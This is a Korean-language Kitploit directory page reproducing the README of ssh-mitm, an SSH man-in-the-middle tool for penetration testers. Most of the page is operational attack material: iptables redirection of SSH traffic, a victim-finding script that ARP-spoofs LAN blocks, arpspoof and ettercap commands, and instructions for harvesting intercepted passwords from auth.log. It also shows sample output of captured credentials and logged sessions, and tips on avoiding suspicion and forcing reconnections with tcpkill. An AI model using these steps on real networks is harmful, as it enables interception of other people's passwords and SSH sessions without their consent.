Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
ssh-mitm — SSH 중간자 공격 도구 | Kitploit
도구/GitHubGitHub/jtesta/ssh-mitm
Password CrackingReconnaissanceIDS/IPS EvasionLateral MovementInformation GatheringNetwork SecurityPenetration TestingAuthenticationRed TeamingArchived
GitHubjtesta/ssh-mitm

ssh-mitm

SSH 중간자 공격 도구

1.7k2135년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기

SSH MITM v2.3-dev

저자: Joe Testa (@therealjoetesta)

개요

이 침투 테스트 도구는 감사자가 SSH 연결을 가로챌 수 있게 해줍니다. OpenSSH v7.5p1 소스 코드에 적용된 패치로 인해 피해자와 의도한 SSH 서버 사이에서 프록시 역할을 하며, 모든 평문 비밀번호와 세션이 디스크에 기록됩니다.

물론 피해자의 SSH 클라이언트는 서버의 키가 변경되었다고 경고할 것입니다. 그러나 99.99999%의 경우 이는 합법적인 작업(OS 재설치, 설정 변경 등)으로 인해 발생하기 때문에, 대부분의 사용자는 경고를 무시하고 계속 진행할 것입니다.

참고: 수정된 sshd_mitm은 VM이나 컨테이너에서만 실행하세요! OpenSSH 소스의 중요한 영역에 임시 편집이 이루어졌으며, 보안 영향에 대한 고려가 없었습니다. 이러한 편집으로 인해 심각한 취약점이 발생할 수 있다는 것은 쉽게 상상할 수 있습니다.

변경 내역

  • v2.3: ???: Linux Mint 20 및 Ubuntu 20 지원 추가.
  • v2.2: 2019년 9월 16일: Kali 및 Linux Mint 19에서 설치 문제 수정. 특정 조건에서 발생하는 이중 비밀번호 프롬프트 수정. 오류 로깅 개선.
  • v2.1: 2018년 1월 4일: 비대화형 명령 실행 활성화, 취약한 알고리즘을 사용하는 오래된 서버에 대한 연결 차단 가능, AppArmor가 일부 연결을 종료시키는 두 가지 주요 버그 수정, 오류 로깅 개선.
  • v2.0: 2017년 9월 12일: 전체 SFTP 지원(!) 및 AppArmor 제한 추가.
  • v1.1: 2017년 7월 6일: 루트 권한 종속성 제거, 자동 설치 프로그램 추가, Kali Linux 지원 추가, LAN에서 잠재적 대상을 찾는 JoesAwesomeSSHMITMVictimFinder.py 스크립트 추가.
  • v1.0: 2017년 5월 16일: 최초 버전.

Docker 이미지 실행

시작하는 가장 빠르고 쉬운 방법은 SSH MITM이 미리 빌드된 Docker 이미지를 사용하는 것입니다.

1.) Dockerhub에서 이미지를 가져옵니다:

root@kitploit:~
$ docker pull positronsecurity/ssh-mitm

2.) 다음으로 컨테이너를 실행합니다:

root@kitploit:~
$ mkdir -p ${PWD}/ssh_mitm_logs && docker run --network=host -it --rm -v ${PWD}/ssh_mitm_logs:/home/ssh-mitm/log positronsecurity/ssh-mitm

3.) 호스트 시스템에서 IP 포워딩 및 NAT 라우팅을 활성화합니다:

root@kitploit:~
# echo 1 > /proc/sys/net/ipv4/ip_forward
# iptables -P FORWARD ACCEPT
# iptables -A INPUT -p tcp --dport 2222 -j ACCEPT
# iptables -t nat -A PREROUTING -p tcp --dport 22 -j REDIRECT --to-ports 2222

4.) LAN에서 대상을 찾고 ARP 스푸핑합니다(아래 참조).

5.) 셸 및 SFTP 세션이 ssh_mitm_logs 디렉토리에 기록됩니다.

초기 설정

루트 권한으로 install.sh 스크립트를 실행하세요. 이 스크립트는 리포지토리에서 필수 패키지를 설치하고, OpenSSH 아카이브를 다운로드하고, 서명을 확인하고, 컴파일한 후, 실행할 비특권 환경을 초기화합니다.

대상 찾기

JoesAwesomeSSHMITMVictimFinder.py 스크립트는 LAN에서 대상을 매우 쉽게 찾을 수 있게 해줍니다. 이 스크립트는 IP 블록을 ARP 스푸핑하고 짧은 시간 동안 SSH 트래픽을 스니핑한 후 다음 블록으로 이동합니다. LAN 장치에서 발생하는 진행 중인 SSH 연결이 보고됩니다.

기본적으로 JoesAwesomeSSHMITMVictimFinder.py는 한 번에 5개의 IP만 20초 동안 ARP 스푸핑 및 스니핑한 후 다음 5개 블록으로 이동합니다. 이러한 매개변수는 조정할 수 있지만, 절충점이 있습니다. 한 번에 스푸핑되는 IP가 많을수록 진행 중인 SSH 연결을 잡을 가능성이 높아지지만, 네트워크 인터페이스에 가해지는 부하도 커집니다. 부하가 너무 높으면 인터페이스가 프레임을 드롭하기 시작하여 서비스 거부를 유발하고 의심을 크게 불러일으킵니다(좋지 않습니다). 기본값은 대부분의 경우 문제를 일으키지 않지만, 대상을 찾는 데 시간이 더 오래 걸릴 수 있습니다. 블록 크기는 사용률이 낮은 네트워크에서 안전하게 늘릴 수 있습니다.

예시:

root@kitploit:~
# ./JoesAwesomeSSHMITMVictimFinder.py --interface enp0s3 --ignore-ips 10.11.12.50,10.11.12.53
Found local address 10.11.12.141 and adding to ignore list.
Using network CIDR 10.11.12.141/24.
Found default gateway: 10.11.12.1
IP blocks of size 5 will be spoofed for 20 seconds each.
The following IPs will be skipped: 10.11.12.50 10.11.12.53 10.11.12.141


Local clients:
  * 10.11.12.70 -> 174.129.77.155:22
  * 10.11.12.43 -> 10.11.99.2:22

위 출력은 LAN에 있는 두 장치가 SSH 연결을 생성했음을 보여줍니다(10.11.12.43 및 10.11.12.70). 이들은 중간자 공격의 대상이 될 수 있습니다. 그러나 자격 증명을 가로채려면 새 연결을 시작할 때까지 기다려야 합니다. 참을성 없는 침투 테스터는 tcpkill 도구를 사용하여 기존 SSH 세션을 강제로 종료하여 클라이언트가 즉시 새 연결을 만들도록 할 수 있습니다...

공격 실행

1.) 초기 설정을 완료하고 잠재적 피해자 목록을 찾은 후(위 참조), 루트 권한으로 start.sh를 실행하세요. 이렇게 하면 sshd_mitm이 시작되고 IP 포워딩이 활성화되며 iptables를 통한 SSH 패킷 가로채기가 설정됩니다.

2.) 대상에 ARP 스푸핑을 수행합니다(프로 팁: 모든 것을 스푸핑하지 마세요! 네트워크 인터페이스가 한 번에 전체 네트워크 트래픽을 처리하지 못할 가능성이 높습니다. 한 번에 몇 개의 IP만 스푸핑하세요):

root@kitploit:~
arpspoof -r -t 192.168.x.1 192.168.x.5

또는 ettercap 도구를 사용할 수 있습니다:

root@kitploit:~
ettercap -i enp0s3 -T -M arp /192.168.x.1// /192.168.x.5,192.168.x.6//

3.) auth.log를 모니터링하세요. 가로챈 비밀번호가 여기에 나타납니다:

root@kitploit:~
sudo tail -f /var/log/auth.log

4.) 세션이 설정되면 모든 입력 및 출력의 전체 로그를 */home/ssh-mitm/*에서 찾을 수 있습니다. SSH 세션은 shell_session_*.txt로 기록되고, SFTP 세션은 sftp_session_*.html로 기록됩니다(전송된 파일은 해당 디렉토리에 저장됨).

샘플 결과

성공하면 /var/log/auth.log에 다음과 같이 비밀번호를 기록하는 줄이 나타납니다:

root@kitploit:~
Sep 11 19:28:14 showmeyourmoves sshd_mitm[16798]: INTERCEPTED PASSWORD: hostname: [10.199.30.x]; username: [jdog]; password: [supercalifragilistic] [preauth]

또한 피해자의 전체 SSH 세션이 기록됩니다:

root@kitploit:~
# cat /home/ssh-mitm/shell_session_0.txt
Hostname: 10.199.30.x
Username: jdog
Password: supercalifragilistic
-------------------------
Last login: Thu Aug 31 17:42:38 2017
OpenBSD 6.1 (GENERIC.MP) #21: Wed Aug 30 08:21:38 CEST 2017

Welcome to OpenBSD: The proactively secure Unix-like operating system.

Please use the sendbug(1) utility to report bugs in the system.
Before reporting a bug, please try to reproduce it with the latest
version of the code.  With bug reports, please try to ensure that
enough information to reproduce the problem is enclosed, and if a
known fix for it exists, include that as well.

jdog@jefferson ~ $ ppss
  PID TT  STAT       TIME COMMAND
59264 p0  Ss      0:00.02 -bash (bash)
52132 p0  R+p     0:00.00 ps
jdog@jefferson ~ $ iidd
uid=1000(jdog) gid=1000(jdog) groups=1000(jdog), 0(wheel)
jdog@jefferson ~ $ sssshh  jjtteessttaa@@mmaaggiiccbbooxx
jtesta@magicbox's password: ROFLC0PTER!!1juan

사용자 명령의 문자가 파일에 두 번 나타나는 이유는 사용자의 입력과 셸의 출력(문자를 다시 에코)이 모두 기록되기 때문입니다. sudo나 ssh와 같은 프로그램이 비밀번호를 읽기 위해 에코를 일시적으로 비활성화할 때는 중복 문자가 기록되지 않음을 확인할 수 있습니다.

모든 SFTP 활동도 캡처됩니다. 브라우저를 사용하여 sftp_session_0.html을 확인하세요. 여기에는 명령 로그와 업로드/다운로드된 파일에 대한 링크가 포함되어 있습니다:

root@kitploit:~
# cat /home/ssh-mitm/sftp_session_0.txt
<html><pre>Hostname: 10.199.30.x
Username: jdog
Password: supercalifragilistic
-------------------------
> realpath "." (Result: /home/jdog)
> realpath "/home/jdog/." (Result: /home/jdog)
> ls /home/jdog
drwxr-xr-x    4 jdog     jdog         4096 Sep 11 16:12 .
drwxr-xr-x    4 root     root         4096 Sep  6 11:53 ..
-rw-r--r--    1 jdog     jdog         3771 Aug 31  2015 .bashrc
-rw-r--r--    1 jdog     jdog          220 Aug 31  2015 .bash_logout
drwx------    2 jdog     jdog         4096 Sep  6 11:54 .cache
-rw-r--r--    1 jdog     jdog          655 May 16 08:49 .profile
drwx------    2 jdog     jdog         4096 Sep  8 16:59 .ssh
-rw-rw-r--    1 jdog     jdog      5242880 Sep  8 15:52 file
-rw-rw-r--    1 jdog     jdog        43131 Sep 10 10:47 file2
-rw-rw-r--    1 jdog     jdog           83 Sep  6 12:56 file3
-rw-rw-r--    1 jdog     jdog      3048960 Sep 11 13:51 file4

> realpath "/home/jdog/file5" (Result: /home/jdog/file5)
> put <a href="sftp_session_0/file5">/home/jdog/file5</a>
> realpath "/home/jdog/file5" (Result: /home/jdog/file5)
> stat "/home/jdog/file5" (Result: flags: 15; size: 854072; uid: 1001; gid: 1001; perm: 0100664, atime: 1505172831, mtime: 1505172831)
> setstat "/home/jdog/file5" (Result: flags: 4; size: 0; uid: 0; gid: 0; perm: 0100700, atime: 0, mtime: 0)
</pre></html>

개발자 문서

lol.h에는 두 개의 define이 있습니다: DEBUG_HOST와 DEBUG_PORT. 이를 활성화하고 호스트 이름을 테스트 서버로 설정하세요. 이제 ARP 스푸핑 없이 sshd_mitm에 직접 연결하여 변경 사항을 테스트할 수 있습니다. 예:

root@kitploit:~
ssh -p 2222 valid_user_on_debug_host@localhost

OpenSSH 소스 코드 변경 사항을 테스트하려면 dev/redeploy.sh 스크립트를 사용하세요.

커밋되지 않은 변경 사항의 diff를 보려면 dev/make_diff_of_uncommitted_changes.sh 스크립트를 사용하세요.

OpenSSH 소스에 대한 전체 패치를 다시 생성하려면 dev/regenerate_patch.sh 스크립트를 사용하세요.

도구 다운로드